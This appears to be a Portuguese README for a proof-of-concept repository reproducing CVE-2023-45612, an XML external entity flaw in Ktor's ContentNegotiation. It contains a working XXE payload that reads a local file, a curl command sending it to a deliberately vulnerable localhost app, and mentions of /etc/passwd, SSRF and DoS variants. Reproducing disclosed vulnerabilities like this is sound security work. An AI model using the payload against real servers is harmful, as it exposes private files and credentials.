
Ktor XXE Injection Proof-of-Concept (CVE-2023-45612)
Impacto: Acesso a arquivos arbitrários através de um DTD XML malicioso com referência XXE.
Causa raiz: Analisador de documento XML inseguro.
Este repositório contém uma aplicação Ktor 2.3.4 vulnerável configurada para permitir entidades externas de modo que o efeito XXE seja visível.
Aplicação Ktor (v2.3.4) vulnerável para injeção de Entidade Externa XML (CVE-2023-45612) prova de conceito.
CVE-2023-45612 é um bug XXE (Entidade Externa XML) no ContentNegotiation do Ktor quando XML está habilitado em versões anteriores a 2.3.5.
Esta vulnerabilidade corresponde a CWE-611: Restrição Imprópria de Referência a Entidade Externa XML.
XXE faz parte da categoria de risco OWASP Top 10 A05:2021 - Configuração Incorreta de Segurança, mas também é um problema de design inseguro, já que a causa é um analisador XML não restritivo.
Reportado por Ulf Karlsson — veja notas de segurança da Jetbrains.
Versões do Ktor anteriores a 2.3.5
Esta é a minha configuração para reproduzir o problema:
Documentos XML opcionalmente contêm uma Definição de Tipo de Documento (DTD), que, entre outras funcionalidades, permite a definição de entidades XML. É possível definir uma entidade fornecendo uma string de substituição na forma de uma URI. O analisador XML pode acessar o conteúdo dessa URI e incorporá-lo de volta no documento XML para processamento posterior.
Ao enviar um arquivo XML que define uma entidade externa com uma URI file://, um atacante pode fazer com que a aplicação de processamento leia o conteúdo de um arquivo local.
Por exemplo, uma URI como "file:///c:/winnt/win.ini" designa (no Windows) o arquivo C:\Winnt\win.ini, ou file:///etc/passwd designa o arquivo de senhas em sistemas baseados em Unix.
(https://cwe.mitre.org/data/definitions/611.html)
Uma requisição POST é feita ao endpoint http://localhost:8080/xml.
A requisição envia um arquivo xml, exploit/payloads/xxe-demo-file.xml, contendo um elemento <!DOCTYPE> no qual uma entidade externa é referenciada, exploit/etc/secret.txt neste caso.
Isso poderia ser potencialmente qualquer outro arquivo no sistema ao qual o processo tem acesso.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
O analisador XML (configurado para permitir DTDs) resolve este elemento e recupera os dados do recurso.
A referência externa também poderia ser um caminho para um endpoint SSRF, ou poderia apontar para um arquivo grande para ocupar os recursos do sistema (DOS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
Resultado esperado (vulnerável):
Console outputs:
Received: <external entity data>
Resultado esperado (seguro):
400 Bad Request, ou similar (O analisador XML bloqueia a Definição de Tipo de Documento)
Comando de execução:

Envie o payload XXE usando cURL, e o resultado exibindo o conteúdo do arquivo injetado:

A gravidade é alta/crítica. Potencial recuperação de arquivos locais, ataque SSRF, ataque DoS ou outros impactos no sistema.
Pontuação Base NVD: 9.8 CRÍTICO (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)